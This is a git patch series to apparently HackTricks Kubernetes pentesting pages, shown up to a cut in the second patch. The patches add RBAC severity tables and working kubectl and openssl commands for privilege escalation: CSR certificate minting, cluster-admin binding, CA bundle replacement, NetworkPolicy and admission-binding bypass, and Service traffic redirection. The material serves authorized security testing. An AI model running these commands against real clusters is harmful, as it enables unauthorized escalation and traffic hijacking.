From aefa910b16c84bfa512e967c9cd063f780758233 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Mon, 7 Sep 2026 21:22:17 +0200 Subject: [PATCH 1/9] Document tested Kubernetes RBAC attack paths --- .../README.md | 259 ++++++++++++++---- .../kubernetes-enumeration.md | 20 ++ .../kubernetes-network-attacks.md | 64 +++++ ...bernetes-validatingwebhookconfiguration.md | 27 ++ 4 files changed, 324 insertions(+), 46 deletions(-) diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index 4f3ee93cec..270422f099 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -5,6 +5,43 @@ Here you can find some potentially dangerous Roles and ClusterRoles configurations.\ Remember that you can get all the supported resources with `kubectl api-resources`. The techniques below organize risky RBAC permissions and offensive Kubernetes paths for use during an authorized cluster review.[[2]](#references)[[5]](#references) +## K8sPEASS severity and attack-path map + +[K8sPEASS](https://github.com/peass-ng/CloudPEASS/blob/main/docs/K8sPEASS.md) reports the highest reproduced offensive impact of each allowed request. **Critical** means direct credential access or an authorization-boundary bypass. **High** means a locally reproduced code-execution, policy-bypass, traffic-redirection, trust, or strong conditional escalation primitive. A high result is not proof that every target is exploitable: check the object name, namespace, admission, target ServiceAccount, and every other permission in the tested chain. Unserved or safely unconfirmed endpoints are downgraded instead of counted as active critical/high findings. + +### Critical permissions + +| Permission | Why it is critical | Example attack path | +| --- | --- | --- | +| `get/list/watch/*` on `secrets` | Collection and object reads return Secret data. | [Listing Secrets](#listing-secrets) | +| `get/list/watch/*` on resource `*` | The wildcard includes Secrets and future API resources. | [Access Any Resource or Verb](#access-any-resource-or-verb-wildcard) | +| `create/*` on `serviceaccounts/token` | Mints a token for a named ServiceAccount. | [Create serviceaccounts token](#create-serviceaccounts-token) | +| `get/create/*` on `nodes/proxy` | Reaches kubelet APIs and can become Pod execution. | [Nodes proxy](#nodes-proxy) | +| `impersonate*` on users, groups, ServiceAccounts, UIDs, or user extras | Sends authorized requests as another identity. | [Impersonating privileged accounts](#impersonating-privileged-accounts) | +| `bind` on Roles or ClusterRoles | Bypasses the normal check that the caller already holds every permission in the referenced role. | [Bind](#bind) | +| `escalate` on Roles or ClusterRoles | Bypasses the normal check on permissions placed into a role. | [Escalate](#escalate) | + +### High permissions + +| Permission family | Typical attack | Detailed example | +| --- | --- | --- | +| Pod create and controller create/update/patch: Deployments, DaemonSets, StatefulSets, ReplicaSets, ReplicationControllers, Jobs, and CronJobs | Run code as a selectable ServiceAccount, mount data, or request a node-escape configuration if admission allows it. | [Pod Create - Steal Token](#pod-create-steal-token) and [controller writes](#createpatch-deployment-daemonsets-statefulsets-replicationcontrollers-replicasets-jobs-and-cronjobs) | +| `pods/exec`, `pods/attach`, `pods/portforward`, `pods/proxy`, `services/proxy`, and `pods/ephemeralcontainers` | Execute in a workload or reach a backend available only from its network context. | [Pod interactive subresources](#pod-interactive-subresources) | +| `create` on `pods/binding` or core `bindings` | Place an existing unscheduled Pod directly onto a chosen Node. | [Direct scheduling](#nodes-and-pods-status) | +| CSR creation, CSR approval writes, and `approve` on the selected Signer | Obtain a client certificate when the tested signer and pre-existing privileged username are reachable. | [Certificate Signing Requests](#certificate-signing-requests) | +| Secret writes | Create a legacy ServiceAccount token Secret, replace credentials, or poison configuration consumed by a workload. | [Creating and Reading Secrets](#creating-and-reading-secrets) | +| ConfigMap update/patch | Poison configuration consumed by a running workload. | [Mounted ConfigMap live update](#mounted-configmap-live-update) | +| Role, ClusterRole, RoleBinding, and ClusterRoleBinding create/update/patch | Reuse held privileges or combine with `bind`/`escalate`; ordinary escalation prevention still applies. | [Built-in Privilege Escalation Prevention](#built-in-privileged-escalation-prevention) | +| ValidatingAdmissionPolicyBinding update/patch/delete, and Namespace create/update/patch | Change `Deny` to `Warn`, remove the binding, or leave its namespace selector to admit a previously denied request. | [Tested binding bypass](../kubernetes-validatingwebhookconfiguration.md#tested-validatingadmissionpolicy-binding-bypass) | +| NetworkPolicy update/patch/delete and ClusterTrustBundle update/patch | Reopen denied traffic or replace a CA projected into a running Pod. | [Policy and scheduling control objects](#policy-and-scheduling-control-objects) | +| Service or EndpointSlice update/patch | Redirect a trusted Service name to an attacker-controlled backend. | [Kubernetes traffic-object writes](../kubernetes-network-attacks.md#kubernetes-traffic-object-writes) | +| PersistentVolume create | Mount a Node `hostPath` into a workload when PVC and Pod permissions complete the chain. | [Storage control objects](#storage-control-objects) | +| Node update/patch | Add a label required by a pending workload and cause it to schedule on that Node. | [Policy and scheduling control objects](#policy-and-scheduling-control-objects) | +| Resource `*` create/update/patch | Includes one or more of the reproduced mutation paths above. | [Access Any Resource or Verb](#access-any-resource-or-verb-wildcard) | +| Non-resource `*` or `/debug/*`, only when a safe concrete debug endpoint responds | Expose live API-server diagnostics; the tested `/debug/pprof/goroutine` path disclosed process state. | [Sensitive non-resource URLs](#sensitive-non-resource-urls) | + +Reads of Pods, logs, ConfigMaps, RBAC, identities, topology, and storage are normally **medium** because they supply attack inputs but do not cross the boundary alone. Pod deletion/patch, eviction and status writes, signer `sign`/`attest`, CSR status, SCC/PSP `use`, other admission objects, Kyverno/Gatekeeper, PodTemplate, ServiceAccount, ResourceQuota, LimitRange, PodDisruptionBudget, PriorityClass, PVC, snapshot/CSI, CRD/APIService, PodCertificateRequest, DRA, StorageVersionMigration, Lease, and unknown custom-resource writes also default to medium until their exact platform path is reproduced. Basic discovery and self-review are **low**. Promote a custom-resource/controller finding only after validating its controller, target, and privilege differential. + ## **Privilege Escalation** Referring as the art of getting **access to a different principal** within the cluster **with different privileges** (within the kubernetes cluster or to external clouds) than the ones you already have, in Kubernetes there are basically **4 main techniques to escalate privileges**: @@ -25,7 +62,6 @@ kind: ClusterRole metadata: name: api-resource-verbs-all rules: -rules: - apiGroups: ["*"] resources: ["*"] verbs: ["*"] @@ -45,7 +81,6 @@ kind: ClusterRole metadata: name: api-resource-verbs-all rules: -rules: - apiGroups: ["*"] resources: ["*"] verbs: ["create", "list", "get"] @@ -203,6 +238,32 @@ spec: path: / ``` +### Pod interactive subresources + +The parent Pod permission is not enough for Kubernetes streaming APIs: RBAC checks their named subresources. Treat the following grants as high risk when the corresponding operation is allowed: + +| Subresource | Common RBAC verb | Offensive impact | +| --- | --- | --- | +| `pods/exec` | `create` | Run commands in an existing container. | +| `pods/attach` | `create` | Attach to the process streams of a running container. | +| `pods/portforward` | `create` | Reach listeners from the target Pod's network context. | +| `pods/proxy` | `get` or `create`, depending on the client request | Proxy HTTP traffic through the API server to a Pod. | +| `services/proxy` | `get` or `create`, depending on the client request | Proxy HTTP traffic through the API server to a Service backend. | +| `pods/ephemeralcontainers` | `patch` or `update` | Add a debugging container to an existing Pod. | + +Check every verb explicitly; a broad `get pods` grant does not imply these permissions: + +```bash +kubectl auth can-i create pods/exec -n +kubectl auth can-i create pods/attach -n +kubectl auth can-i create pods/portforward -n +kubectl auth can-i get pods/proxy -n +kubectl auth can-i get services/proxy -n +kubectl auth can-i patch pods/ephemeralcontainers -n +``` + +The target Pod and container still matter. Admission can also restrict ephemeral-container content, while NetworkPolicy normally does not inspect traffic tunneled through an API-server port-forward. + ### **Pods Exec** **`pods/exec`** is a resource in kubernetes used for **running commands in a shell inside a pod**. This allows to **run commands inside the containers or get a shell inside**.[[17]](#references) @@ -326,6 +387,18 @@ spec: name: task-pv-storage-vol ``` +### Storage control objects + +The PersistentVolume `hostPath` example above is the tested node-filesystem path: creating the PV is the dangerous cluster-scoped step, while a PVC and Pod consume it. + +```bash +kubectl auth can-i create persistentvolumes +kubectl auth can-i create persistentvolumeclaims -n +kubectl get pv,storageclass +``` + +For a data-access proof, use disposable non-sensitive data and show the complete chain: the hostPath PV, bound PVC, consumer Pod, and a known marker read from the mounted Node path. Object creation alone proves only the permission. Reclaim policy, access modes, Pod admission, and the separate PVC/Pod permissions can still stop the path. Other storage API writes remain medium until their driver-specific data-access consequence is reproduced. + ### **Impersonating privileged accounts** With a [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) privilege, an attacker could impersonate a privileged account.[[22]](#references) @@ -495,54 +568,54 @@ resources: ### Certificate Signing Requests -If you have the verbs **`create`** in the resource `certificatesigningrequests` ( or at least in `certificatesigningrequests/nodeClient`). You can **create** a new CeSR of a **new node.**[[26]](#references) - -According to the [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), so in that case you **don't need extra permissions**. If not, you would need to be able to approve the request, which means update in `certificatesigningrequests/approval` and `approve` in `signers` with resourceName `/` or `/*`.[[25]](#references)[[26]](#references) - -An **example of a role** with all the required permissions is: +CSR creation is a certificate-minting primitive, but issuance depends on the selected signer and its validation/approval flow. The tested built-in client-certificate chain requires `create`/`get` on CSRs, `update` on `certificatesigningrequests/approval`, and `approve` on the exact signer `kubernetes.io/kube-apiserver-client`.[[26]](#references) ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: - name: csr-approver + name: csr-client-issuer rules: - - apiGroups: - - certificates.k8s.io - resources: - - certificatesigningrequests - verbs: - - get - - list - - watch - - create - - apiGroups: - - certificates.k8s.io - resources: - - certificatesigningrequests/approval - verbs: - - update - - apiGroups: - - certificates.k8s.io - resources: - - signers - resourceNames: - - example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain - verbs: - - approve -``` - -So, with the new node CSR approved, you can **abuse** the special permissions of nodes to **steal secrets** and **escalate privileges**.[[26]](#references) - -In [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) and [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) the GKE K8s TLS Bootstrap configuration is configured with **automatic signing** and it's abused to generate credentials of a new K8s Node and then abuse those to escalate privileges by stealing secrets.[[27]](#references)[[28]](#references)\ -If you **have the mentioned privileges yo could do the same thing**. Note that the first example bypasses the error preventing a new node to access secrets inside containers because a **node can only access the secrets of containers mounted on it.**[[26]](#references)[[27]](#references)[[28]](#references) - -The way to bypass this is just to **create a node credentials for the node name where the container with the interesting secrets is mounted** (but just check how to do it in the first post): +- apiGroups: ["certificates.k8s.io"] + resources: ["certificatesigningrequests"] + verbs: ["create", "get"] +- apiGroups: ["certificates.k8s.io"] + resources: ["certificatesigningrequests/approval"] + verbs: ["update"] +- apiGroups: ["certificates.k8s.io"] + resources: ["signers"] + resourceNames: ["kubernetes.io/kube-apiserver-client"] + verbs: ["approve"] +``` + +The following lab requests a certificate for an existing Kubernetes username. To demonstrate impact, that username must already have an RBAC binding; the CSR permissions do not create the binding: ```bash -"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1" +openssl req -new -newkey rsa:2048 -nodes \ + -keyout attacker.key -out attacker.csr -subj '/CN=already-privileged-user' +REQUEST=$(base64 < attacker.csr | tr -d '\n') + +cat < attacker.crt +kubectl --client-certificate=attacker.crt --client-key=attacker.key \ + --server=https://:6443 --certificate-authority=ca.crt auth whoami ``` +On Kubernetes v1.37, the built-in client signer rejected a lab CSR that requested membership in `system:masters`; it did issue a certificate for an already-privileged ordinary username. Do not claim arbitrary cluster-admin from this chain. Node bootstrap and custom signers have different checks, so retain a CSR-create finding as high/conditional but report exploitation only after the requested identity, approval, signer behavior, issued certificate, and an authorized request are all observed. + ### AWS EKS aws-auth configmaps In the legacy ConfigMap-based EKS authentication mode, principals that can modify **`configmaps`** in the kube-system namespace on EKS (need to be in AWS) clusters can obtain cluster admin privileges by overwriting the **aws-auth** configmap. EKS now recommends access entries for cluster access, but clusters that still use `aws-auth` remain exposed to this configuration risk.[[30]](#references)[[31]](#references)\ @@ -593,6 +666,24 @@ data: > However, `aws --profile other_account eks update-kubeconfig --name ` **doesn't work from a different acount**. But actually `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` works if you put the ARN of the cluster instead of just the name.\ > To make `kubectl` work, just make sure to **configure** the **victims kubeconfig** and in the aws exec args add `--profile other_account_role` so kubectl will be using the others account profile to get the token and contact AWS. +### Mounted ConfigMap live update + +A ConfigMap update is a true positive when a live consumer changes behavior, not merely when the API accepts the patch. The reproduced test used an already-running HTTP Pod with a ConfigMap volume: its response was `SAFE_CONFIG`, the attacker patched only the ConfigMap, and the same Pod returned `ATTACKER_CONFIG` after kubelet refreshed the projected file. + +```bash +# Identify the exact ConfigMap and confirm the Pod consumes it. +kubectl get pod -n -o jsonpath='{.spec.volumes}' +kubectl exec -n -- cat /mounted/path/value + +kubectl patch configmap -n --type=merge \ + -p='{"data":{"value":"ATTACKER_CONFIG"}}' + +# Projection is eventually consistent; re-read the existing Pod, do not restart it. +kubectl exec -n -- cat /mounted/path/value +``` + +Record a before/after application response as well as the mounted file. Environment variables populated from ConfigMaps are not refreshed in an already-running container, and applications may cache mounted configuration, so those cases need a restart or another proven reload mechanism. + ### CoreDNS config map If you have the permissions to modify the **`coredns` configmap** in the `kube-system` namespace, you can modify the address domains will be resolved to in order to be able to perform MitM attacks to **steal sensitive information or inject malicious content**.[[4]](#references) @@ -665,6 +756,22 @@ Principals with any of the verbs `create`, `update` or `patch` over `validatingw For a [`mutatingwebhookconfigurations` example check this section of this post](#malicious-admission-controller). +### Bind + +Kubernetes normally rejects a RoleBinding or ClusterRoleBinding that references permissions the caller does not already possess. The `bind` verb on the referenced Role or ClusterRole bypasses that protection. The attacker also needs permission to create or update the applicable binding object.[[9]](#references) + +```bash +# The two independent capabilities needed for this cluster-wide path +kubectl auth can-i create clusterrolebindings.rbac.authorization.k8s.io +kubectl auth can-i bind clusterroles.rbac.authorization.k8s.io/cluster-admin + +# Authorized lab example: bind the current username to cluster-admin +kubectl create clusterrolebinding attacker-cluster-admin \ + --clusterrole=cluster-admin --user="$(kubectl auth whoami -o jsonpath='{.status.userInfo.username}')" +``` + +A namespaced variant combines `create rolebindings` in that namespace with `bind` on a suitable Role or ClusterRole. `resourceNames` may constrain which existing roles can be bound, but Kubernetes cannot use `resourceNames` to restrict the generated name of a `create` request. + ### Escalate As you can read in the next section: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), a principal cannot update neither create roles or clusterroles without having himself those new permissions. Except if he has the **verb `escalate` or `*`** over **`roles`** or **`clusterroles`** and the respective binding options.[[9]](#references)\ @@ -726,7 +833,69 @@ Principals that can **modify** **`services/status`** may set the `status.loadBal ### Nodes and Pods status -Principals with **`update`** or **`patch`** permissions over `nodes/status` or `pods/status`, could modify labels to affect scheduling constraints enforced. +Principals with **`update`** or **`patch`** permissions over `nodes/status` can alter allocatable capacity and conditions used by scheduling and controllers. `pods/status` writes can spoof Pod IPs, readiness, phase, and other controller inputs. Metadata labels are not part of either status subresource; changing them requires patch/update on the parent Node or Pod. + +Direct scheduling can use `create pods/binding` or the legacy core `bindings` resource to assign an unscheduled Pod to a Node. Admission and the scheduler are bypassed for the placement decision, but creating or modifying the Pod remains a separate permission: + +```bash +kubectl auth can-i create pods/binding -n +kubectl auth can-i create bindings -n +kubectl create -f - <<'EOF' +apiVersion: v1 +kind: Binding +metadata: + name: + namespace: +target: + apiVersion: v1 + kind: Node + name: +EOF +``` + +### Policy and scheduling control objects + +Not every object named “policy” has the same impact. K8sPEASS rates the tested direct trust, traffic, and admission-control paths high, while availability-only or second-step governance changes normally remain medium: + +- Namespace creation/labels can enter a Pod Security Admission or webhook-exempt scope; see [Kubernetes Namespace Escalation](../kubernetes-namespace-escalation.md). +- NetworkPolicy update/patch/delete can reopen traffic when the active CNI enforces the policy; see [NetworkPolicy and admin policy layers](../kubernetes-network-attacks.md#networkpolicy-and-admin-policy-layers). +- ClusterTrustBundle writes can replace a CA bundle projected into opted-in Pods. Signer-linked bundles additionally require `attest` on the signer; unlinked bundles rely on ordinary object authorization.[[26]](#references) + +For the ClusterTrustBundle path, first identify a victim Pod whose projected volume selects a bundle by `name` or `signerName`. In a disposable lab, generate a different valid CA and patch an unlinked bundle; after kubelet's projection refresh, the file in the already-running Pod changes to the attacker's CA: + +```bash +openssl req -x509 -newkey rsa:2048 -nodes -days 1 \ + -subj '/CN=ATTACKER-CA' \ + -addext 'basicConstraints=critical,CA:TRUE' \ + -addext 'keyUsage=critical,keyCertSign,cRLSign' \ + -keyout attacker-ca.key -out attacker-ca.crt + +PATCH=$(jq -cn --rawfile cert attacker-ca.crt '{spec:{trustBundle:$cert}}') +kubectl patch clustertrustbundle --type=merge -p "$PATCH" +kubectl exec -- sha256sum /path/to/projected/ca.pem +``` + +This changes trust only for consumers that project and use that bundle; it does not replace the cluster CA. Compare the file hash before and after and then perform a TLS request to a controlled endpoint to prove the victim application actually uses that trust store. + +```bash +kubectl auth can-i patch clustertrustbundles.certificates.k8s.io +``` + +Writes to SCC/PSP, webhook and other admission objects, Kyverno/Gatekeeper, ResourceQuota, LimitRange, PodDisruptionBudget, PriorityClass, PodTemplate, RuntimeClass, API priority/fairness, Lease, CRD, APIService, DRA, and unknown controller custom resources are reported as medium until an end-to-end privilege or data path is validated. Do not elevate a custom resource merely because its controller ServiceAccount is powerful: prove that the attacker-controlled field causes the privileged action. + +### Sensitive non-resource URLs + +RBAC also covers API-server paths that are not Kubernetes resources. Wildcard access and grants to `/debug/*` can expose diagnostics when a concrete endpoint is enabled. `/metrics` is normally reconnaissance rather than a direct authorization bypass, but can disclose versions, component behavior, object names, and workload patterns. + +```bash +kubectl auth can-i get /debug/pprof/ +kubectl auth can-i get /metrics + +# Read-only true-positive verification; do not use blocking CPU/trace profiles. +kubectl get --raw '/debug/pprof/goroutine?debug=0' >/tmp/goroutine-profile +``` + +Authorization and endpoint availability are separate: a positive RBAC answer does not prove that a path exists. In the v1.37 test cluster, `/debug/pprof/goroutine` returned process data while an authorized `/logs/*` grant returned 404; only the former remained an active high finding. Enumerate concrete `nonResourceURLs` from visible Roles or ClusterRoles whenever that metadata is readable.[[49]](#references) ## Built-in Privileged Escalation Prevention @@ -739,12 +908,9 @@ The rule stipulates that a **user can only create or update a role if they posse > [!WARNING] > There is an exception to the previous rule. If a principal has the **verb `escalate`** over **`roles`** or **`clusterroles`** he can increase the privileges of roles and clusterroles even without having the permissions himself.[[9]](#references) -### **Get & Patch RoleBindings/ClusterRoleBindings** - -> [!CAUTION] -> **Apparently this technique worked before, but according to my tests it's not working anymore for the same reason explained in the previous section. Yo cannot create/modify a rolebinding to give yourself or a different SA some privileges if you don't have already.** +### **Create or patch RoleBindings/ClusterRoleBindings** -The privilege to create Rolebindings allows a user to **bind roles to a service account**. This privilege can potentially lead to privilege escalation because it **allows the user to bind admin privileges to a compromised service account.**[[9]](#references) +Binding writes are still security-sensitive, but they are not an unconditional path to arbitrary privileges. Without `bind`, the API server permits a new or changed binding only when the caller already holds every permission contained in the referenced Role or ClusterRole. This can still delegate the caller's existing powers to another identity, establish persistence, or combine permissions spread across identities. With `bind` on the referenced role, that escalation-prevention check is bypassed; see [Bind](#bind).[[9]](#references) ## Other Attacks @@ -913,5 +1079,6 @@ https://github.com/aquasecurity/kube-bench - [46] [pid_namespaces(7)](https://man7.org/linux/man-pages/man7/pid_namespaces.7.html) - [47] [Node authorization](https://kubernetes.io/docs/reference/access-authn-authz/node/) - [48] [NodeRestriction admission plugin](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction) +- [49] [RBAC non-resource URL rules](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#referring-to-resources) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md index daca7b9760..8bbb07cc64 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md @@ -51,6 +51,26 @@ _**Hot pods are**_ pods containing a privileged service account token. A privile If you don't know what is **RBAC**, **read this section**. +### K8sPEASS read-only permission enumeration + +[K8sPEASS](https://github.com/peass-ng/CloudPEASS/blob/main/docs/K8sPEASS.md) enumerates effective permissions without issuing Kubernetes write, exec, attach, port-forward, proxy, token-minting, CSR, or dry-run write requests. It prefers self-review APIs, dynamically discovers API resources and subresources, confirms risky rules with exact access reviews, and can explain visible RBAC bindings and admission controls. When those APIs are denied, it falls back to a fixed set of exact permission checks and local kubeconfig, in-cluster, and unverified token context, so an identity with almost no cluster visibility still gets useful evidence. + +```bash +python3 K8sPEASS.py --context --namespace + +# Direct token authentication without putting the bearer token in argv +K8S_TOKEN='ey...' python3 K8sPEASS.py \ + --server https://:6443 --certificate-authority ./ca.crt + +# Non-interactive, fast scan. JSON retains denied/unknown and coverage details. +python3 K8sPEASS.py --no-ask --skip-bruteforce \ + --out-json-path /tmp/k8speass.json +``` + +The exhaustive discovered-resource matrix can be slow and noisy in audit logs, so interactive use asks before running it. Use `--brute-force-permissions` only when the scope authorizes that enumeration; `--no-ask` alone skips it. Repeating `--namespace` is useful when namespace listing is forbidden but names are known. + +Interpret a reported permission as a primitive, not proof of exploitation. Resource names, namespaces, admission, target ServiceAccounts, reachable controllers, selectors, and multi-permission chains still decide impact. The [Kubernetes dangerous-permission map](abusing-roles-clusterroles-in-kubernetes/README.md#k8speass-severity-and-attack-path-map) explains every critical/high family and its example attack path. + ## GUI Applications - **k9s**: A GUI that enumerates a kubernetes cluster from the terminal. Check the commands in[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/).[[7]](#references) Write `:namespace` and select all to then search resources in all the namespaces. diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md index 1d2d263173..04cce880f7 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md @@ -129,6 +129,68 @@ kubectl get adminnetworkpolicy,baselineadminnetworkpolicy -A 2>/dev/null For bypass analysis, check whether the intended block is avoided through an allowed proxy, DNS or egress gateway, `hostNetwork` pod, node-local path, broad namespace or pod label selector, or a higher-precedence admin/global policy. Report the source pod labels, namespace labels, destination Service or EndpointSlice, CNI/policy implementation, deciding policy rule, and traffic proof. +In a disposable Calico lab, this sequence proved a NetworkPolicy patch true positive: the first request succeeded, the enforced policy blocked the same request, and changing its selector with a patch-only identity restored the original application response. + +```bash +# Negative control before policy: returns the server marker. +kubectl exec client -- wget -T 3 -qO- http://server:8080 + +kubectl apply -f - <<'EOF' +apiVersion: networking.k8s.io/v1 +kind: NetworkPolicy +metadata: + name: deny-server +spec: + podSelector: + matchLabels: + app: protected-server + policyTypes: ["Ingress"] +EOF + +# Enforced control: this must now time out or fail. +kubectl exec client -- wget -T 3 -qO- http://server:8080 + +# Authorized attacker changes the policy so it no longer selects the server. +kubectl patch networkpolicy deny-server --type=merge \ + -p='{"spec":{"podSelector":{"matchLabels":{"app":"not-the-server"}}}}' + +# True-positive proof: the identical request returns the original marker again. +kubectl exec client -- wget -T 3 -qO- http://server:8080 +``` + +Run all three checks from the same client Pod and record the active CNI. A stored NetworkPolicy object is not evidence of enforcement when the CNI does not implement it. + +### Kubernetes traffic-object writes + +Write access to core traffic objects can redirect a trusted name without modifying the victim workload. The two paths below were reproduced against live backends: + +- Changing a Service selector makes its controller select a different set of Pods. +- For a selectorless Service, changing an EndpointSlice controls its backends. EndpointSlices managed for a selector-based Service are reconciled by the controller, so direct edits may be replaced.[[13]](#references)[[14]](#references) + +This authorized lab example demonstrates a selector redirect using two Pods that return different bodies: + +```bash +kubectl create deployment trusted-backend --image=hashicorp/http-echo -- \ + -text=TRUSTED -listen=:5678 +kubectl label deployment trusted-backend app=trusted --overwrite +kubectl create deployment attacker-backend --image=hashicorp/http-echo -- \ + -text=ATTACKER -listen=:5678 +kubectl label deployment attacker-backend app=attacker --overwrite +kubectl expose deployment trusted-backend --name=trusted-api --port=80 --target-port=5678 +kubectl patch service trusted-api --type=merge -p '{"spec":{"selector":{"app":"trusted"}}}' +kubectl run traffic-check-before --rm -i --restart=Never --image=curlimages/curl -- \ + -sS http://trusted-api + +# Before: the Service selects app=trusted. After this write, it selects the attacker Pod. +kubectl patch service trusted-api --type=merge -p '{"spec":{"selector":{"app":"attacker"}}}' +kubectl run traffic-check --rm -i --restart=Never --image=curlimages/curl -- \ + -sS http://trusted-api +``` + +For a selectorless Service, inspect both the Service and its EndpointSlices and verify the address family, port name/protocol, `kubernetes.io/service-name` label, readiness conditions, and whether the endpoint points to a Pod, node, external IP, or loopback/link-local address. The API server rejects some forbidden proxy targets, but direct clients and controllers may have different trust boundaries.[[13]](#references)[[14]](#references) + +Always preserve before/after evidence: the effective endpoints (`kubectl get endpointslice -l kubernetes.io/service-name= -o yaml`), controller status/Events, and an application-layer response. A successful API write without a changed request is only a permission primitive. Treat Ingress, Gateway API, OpenShift Route, and service-mesh objects as controller-specific until that exact controller accepts the object and traffic demonstrably changes. + ### DNS In kubernetes environments you will usually find 1 (or more) **DNS services running** usually in the kube-system namespace:[[2]](#references)[[9]](#references)[[12]](#references) @@ -361,5 +423,7 @@ It will install agents in the selected pods and gather their traffic information - [10] [Using NodeLocal DNSCache in Kubernetes Clusters](https://kubernetes.io/docs/tasks/administer-cluster/nodelocaldns/) - [11] [Mizu README (commit 69ee875)](https://github.com/up9inc/mizu/blob/69ee8752d032ad9bf25a3cc4f7392fde9d619b81/README.md) - [12] [DNS for Services and Pods | Kubernetes](https://kubernetes.io/docs/concepts/services-networking/dns-pod-service/) +- [13] [Services without selectors | Kubernetes](https://kubernetes.io/docs/concepts/services-networking/service/#services-without-selectors) +- [14] [EndpointSlices | Kubernetes](https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md index bbad67c64f..daddff069d 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md @@ -111,6 +111,33 @@ Security checks: - `paramKind` and `paramRef` can make ConfigMaps or CRD-backed parameter objects part of the policy boundary; check who can modify those parameter objects.[[5]](#references)[[6]](#references) - Writes to policies, bindings, and parameter resources should be treated like privileged admission-control changes.[[4]](#references)[[5]](#references) +### Tested ValidatingAdmissionPolicy binding bypass + +Changing a live `ValidatingAdmissionPolicyBinding` can weaken enforcement for later requests. This is a high-risk permission only when the binding currently enforces a matching policy; the following path was reproduced with a denied Pod as the negative control. + +Check the exact binding and the namespace labels used by its selectors: + +```bash +kubectl auth can-i patch validatingadmissionpolicybindings.admissionregistration.k8s.io +kubectl auth can-i patch namespaces +kubectl get validatingadmissionpolicybinding -o yaml +``` + +In an authorized disposable lab, a concrete validating-policy bypass can be proven by changing the binding from enforcement to warning and repeating the previously denied request: + +```bash +# Save the original object first so the test is reversible. +kubectl get validatingadmissionpolicybinding -o yaml > /tmp/binding-before.yaml +kubectl patch validatingadmissionpolicybinding --type=json \ + -p='[{"op":"replace","path":"/spec/validationActions","value":["Warn"]}]' + +# Wait for admission propagation, then repeat the identical previously denied request. +``` + +The namespace-selector variant was also reproduced: a Pod was denied while its namespace label matched the binding, then admitted after that label was removed. Record the denied negative control, one policy or namespace-label change, and an equivalent admitted request. Restore the original object immediately after testing. + +Do not generalize this result to webhook, Kyverno, Gatekeeper, parameter-object, or MutatingAdmissionPolicy writes from the resource name alone. Those paths are controller/configuration-specific and need the same deny-change-admit proof before being reported as a true positive. Admission writes are not automatic cluster-admin: the attacker still needs a later allowed API operation, and authorization plus other admission layers still apply. + ### Abusing Kyverno and Gatekeeper VWC As a practical check, policy operators commonly install one or more `ValidatingWebhookConfiguration` objects; verify the actual objects rather than assuming every installation does so.[[11]](#references)[[12]](#references) From 4754bbfb5790505635634b464d8424f09b00ed96 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Mon, 7 Sep 2026 22:25:24 +0200 Subject: [PATCH 2/9] Document additional tested Kubernetes attack paths --- .../README.md | 99 ++++++++++++++++--- .../kubernetes-enumeration.md | 4 +- .../kubernetes-network-attacks.md | 73 ++++++++++++++ ...bernetes-validatingwebhookconfiguration.md | 62 +++++++++++- 4 files changed, 222 insertions(+), 16 deletions(-) diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index 270422f099..5e91d37594 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -14,10 +14,10 @@ Remember that you can get all the supported resources with `kubectl api-resource | Permission | Why it is critical | Example attack path | | --- | --- | --- | | `get/list/watch/*` on `secrets` | Collection and object reads return Secret data. | [Listing Secrets](#listing-secrets) | -| `get/list/watch/*` on resource `*` | The wildcard includes Secrets and future API resources. | [Access Any Resource or Verb](#access-any-resource-or-verb-wildcard) | +| `get/list/watch/*` on resource `*` in the core or all API groups | The wildcard includes Secrets and future API resources. A wildcard confined to another API group does not. | [Access Any Resource or Verb](#access-any-resource-or-verb-wildcard) | | `create/*` on `serviceaccounts/token` | Mints a token for a named ServiceAccount. | [Create serviceaccounts token](#create-serviceaccounts-token) | | `get/create/*` on `nodes/proxy` | 